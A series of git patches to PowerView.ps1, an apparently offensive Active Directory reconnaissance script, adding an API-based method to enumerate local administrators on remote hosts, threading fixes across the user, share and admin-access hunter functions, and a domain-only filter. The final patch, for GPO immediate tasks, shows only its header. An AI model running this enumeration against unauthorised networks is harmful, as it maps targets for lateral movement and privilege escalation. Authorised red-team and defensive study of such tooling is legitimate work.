00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:00:00 -0500 Subject: [PATCH 102/296] Added NetLocalGroupGetMembers enumeration method for Get-NetLocalGroup with the -API flag Fixed threading specification in most threaded functions. --- Recon/PowerView.ps1 | 453 +++++++++++++++++++++++++++++--------------- 1 file changed, 302 insertions(+), 151 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d07edf65..7d6f8193 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6570,6 +6570,11 @@ function Get-NetLocalGroup { Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + .EXAMPLE PS C:\> Get-NetLocalGroup @@ -6595,42 +6600,52 @@ function Get-NetLocalGroup { Returns all local groups on the WINDOWS7 host. + .EXAMPLE + + PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + + Returns all local groups on the the passed hosts using API calls instead of the + WinNT service provider. + .LINK http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx #> - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName = 'WinNT')] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] $ComputerName = 'localhost', + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] [ValidateScript({Test-Path -Path $_ })] [Alias('HostList')] [String] $ComputerFile, + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] [String] - $GroupName, + $GroupName = 'Administrators', + [Parameter(ParameterSetName = 'WinNT')] [Switch] $ListGroups, + [Parameter(ParameterSetName = 'WinNT')] [Switch] - $Recurse + $Recurse, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API ) - begin { - if ((-not $ListGroups) -and (-not $GroupName)) { - # resolve the SID for the local admin group - this should usually default to "Administrators" - $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') - $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) - $GroupName = ($Objgroup.Value).Split('\')[1] - } - } process { $Servers = @() @@ -6647,168 +6662,262 @@ function Get-NetLocalGroup { # query the specified group using the WINNT provider, and # extract fields as appropriate from the results ForEach($Server in $Servers) { - try { - if($ListGroups) { - # if we're listing the group names on a remote server - $Computer = [ADSI]"WinNT://$Server,computer" - - $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $Group = New-Object PSObject - $Group | Add-Member Noteproperty 'Server' $Server - $Group | Add-Member Noteproperty 'Group' ($_.name[0]) - $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) - $Group - } - } - else { - # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - $Members | ForEach-Object { + if($API) { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to + # get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "NetLocalGroupGetMembers result for $Server : $Result" + $LocalUsers = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' $Server + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 - # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-NT4toCanonical -ObjectName $AdsPath - if($Name) { - $FQDN = $Name.split("/")[0] - $ObjName = $AdsPath.split("/")[-1] - $Name = "$FQDN/$ObjName" - $IsDomain = $True + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) + Write-Debug "Result of ConvertSidToStringSid: $Result" + + if($Result -eq 0) { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Error "ConvertSidToStringSid LastError: $Err" } else { - $Name = $AdsPath - $IsDomain = $False - } + $LocalUser = New-Object PSObject + $LocalUser | Add-Member Noteproperty 'ComputerName' $Server + $LocalUser | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $LocalUser | Add-Member Noteproperty 'SID' $SidString + $LocalUser | Add-Member Noteproperty 'SidType' $Info.lgrmi2_sidusage - $Member | Add-Member Noteproperty 'AccountName' $Name + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - if($IsDomain) { - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + $LocalUsers += $LocalUser + } + } - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' $False + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} + $Parts = $MachineSid.SID.Split('-') + $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - } - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" + $LocalUsers | ForEach-Object { + if($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False } else { - # repull this user object so we can ensure correct information - $LocalUser = $([ADSI] "WinNT://$AdsPath") + $_ | Add-Member Noteproperty 'IsDomain' $True + } + } + $LocalUsers + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + else { + # otherwise we're using the WinNT service provider + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + $Members | ForEach-Object { - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Server - # check if the member is a group - $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-NT4toCanonical -ObjectName $AdsPath + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True } else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } + $Name = $AdsPath + $IsDomain = $False } - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) - } - $Member - - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup) { + $Member | Add-Member Noteproperty 'AccountName' $Name - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() + if($IsDomain) { + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + $Member | Add-Member Noteproperty 'Description' "" + $Member | Add-Member Noteproperty 'Disabled' $False - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' $Null } else { - $MemberIsGroup = $False + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } } + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" + } + else { + # repull this user object so we can ensure correct information + $LocalUser = $([ADSI] "WinNT://$AdsPath") + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + + $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName + # check if the member is a group + $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" } else { try { - # external trust users have a SID, so convert it + $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + } + $Member + + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { + + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { try { - $MemberName = Convert-SidToName $_.cn + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } } catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn + Write-Debug "Error resolving SID : $_" } } - catch { - Write-Debug "Error resolving SID : $_" - } - } - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member + } } } } } - } - catch { - Write-Warning "[!] Error: $_" + catch { + Write-Warning "[!] Error: $_" + } } } } @@ -7288,7 +7397,7 @@ filter Get-NetRDPSession { # otherwise it failed - get the last error # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx $Err = $Kernel32::GetLastError() - Write-Verbuse "LastError: $Err" + Write-Verbose "LastError: $Err" } } @@ -8580,7 +8689,7 @@ function Invoke-UserHunter { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -9036,7 +9145,7 @@ function Invoke-ProcessHunter { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -9367,7 +9476,7 @@ function Invoke-EventHunter { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -9684,7 +9793,7 @@ function Invoke-ShareFinder { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -10164,10 +10273,10 @@ function Invoke-FileFinder { # kick off the threaded script block + arguments if($Shares) { # pass the shares as the hosts so the threaded function code doesn't have to be hacked up - Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } @@ -10416,7 +10525,7 @@ function Find-LocalAdminAccess { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -10848,6 +10957,11 @@ function Invoke-EnumerateLocalAdmin { Switch. Search all domains in the forest for target users instead of just a single domain. + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + .PARAMETER Threads The maximum concurrent threads to execute. @@ -10917,7 +11031,10 @@ function Invoke-EnumerateLocalAdmin { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Switch] + $API ) begin { @@ -10986,7 +11103,7 @@ function Invoke-EnumerateLocalAdmin { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API) # optionally check if the server is up first $Up = $True @@ -10995,7 +11112,12 @@ function Invoke-EnumerateLocalAdmin { } if($Up) { # grab the users for the local admins on this server - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + if($API) { + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API + } + else { + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + } # if we just want to return cross-trust users if($DomainSID -and $TrustGroupSIDS) { @@ -11038,8 +11160,12 @@ function Invoke-EnumerateLocalAdmin { 'TrustGroupsSIDs' = $TrustGroupsSIDs } - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + # kick off the threaded script block + arguments + if($API) { + $ScriptParams['API'] = $True + } + + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -11058,9 +11184,14 @@ function Invoke-EnumerateLocalAdmin { # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + + if($API) { + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $True + } + else { + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } } } } @@ -11512,6 +11643,7 @@ function Find-ForeignGroup { } } + function Find-ManagedSecurityGroups { <# .SYNOPSIS @@ -11577,13 +11709,11 @@ function Find-ManagedSecurityGroups { if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { $results_object.CanManagerWrite = $TRUE } - $results_object - } - } + function Invoke-MapDomainTrust { <# .SYNOPSIS @@ -11720,11 +11850,13 @@ $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), @@ -11787,10 +11919,29 @@ $SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ sesi10_idle_time = field 3 UInt32 } +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] $Wtsapi32 = $Types['wtsapi32'] - From 1c664758ce321a94c5f7cd2b33bbdd602b36658f Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:20:26 -0500 Subject: [PATCH 103/296] renamed output field for Get-NetLocalGroup API --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 7d6f8193..994b9a74 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6708,7 +6708,7 @@ function Get-NetLocalGroup { else { $LocalUser = New-Object PSObject $LocalUser | Add-Member Noteproperty 'ComputerName' $Server - $LocalUser | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString $LocalUser | Add-Member Noteproperty 'SidType' $Info.lgrmi2_sidusage From c883dabf7780f5b8b3cc1bea1f9b163983174838 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:50:24 -0500 Subject: [PATCH 104/296] Added -DomainOnly flag to Invoke-EnumerateLocalAdmin --- Recon/PowerView.ps1 | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 994b9a74..e657c5da 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6710,7 +6710,9 @@ function Get-NetLocalGroup { $LocalUser | Add-Member Noteproperty 'ComputerName' $Server $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString - $LocalUser | Add-Member Noteproperty 'SidType' $Info.lgrmi2_sidusage + + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup $Offset = $NewIntPtr.ToInt64() $Offset += $Increment @@ -10943,6 +10945,10 @@ function Invoke-EnumerateLocalAdmin { Switch. Only return results that are not part of the local machine or the machine's domain. Old Invoke-EnumerateLocalTrustGroup functionality. + + .PARAMETER DomainOnly + + Switch. Only return domain (non-local) results .PARAMETER Domain @@ -11020,6 +11026,9 @@ function Invoke-EnumerateLocalAdmin { [Switch] $TrustGroups, + [Switch] + $DomainOnly, + [String] $Domain, @@ -11103,7 +11112,7 @@ function Invoke-EnumerateLocalAdmin { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API) + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) # optionally check if the server is up first $Up = $True @@ -11130,6 +11139,11 @@ function Invoke-EnumerateLocalAdmin { } if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { + + if($DomainOnly) { + $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} + } + # output the results to a csv if specified if($OutFile) { $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile @@ -11144,7 +11158,6 @@ function Invoke-EnumerateLocalAdmin { } } } - } process { @@ -11164,6 +11177,10 @@ function Invoke-EnumerateLocalAdmin { if($API) { $ScriptParams['API'] = $True } + + if($DomainOnly) { + $ScriptParams['DomainOnly'] = $True + } Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } @@ -11186,12 +11203,9 @@ function Invoke-EnumerateLocalAdmin { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - if($API) { - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $True - } - else { - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs - } + $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs } } } From a87453eeca0b6f9c90b4d359d5848270c3ec29f5 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:53:30 -0500 Subject: [PATCH 105/296] DomainOnly tweak --- Recon/PowerView.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e657c5da..d7b6483d 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -11138,12 +11138,11 @@ function Invoke-EnumerateLocalAdmin { $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } } - if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { - - if($DomainOnly) { - $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} - } + if($DomainOnly) { + $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} + } + if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { # output the results to a csv if specified if($OutFile) { $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile From e029509889b09f42ac22b6880e03cafe3ad3f4c1 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 19:17:25 -0500 Subject: [PATCH 106/296] Added New-GPOImmediateTask --- Recon/PowerView.ps1 | 232 +++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 220 insertions(+), 12 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d7b6483d..e4860464 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ 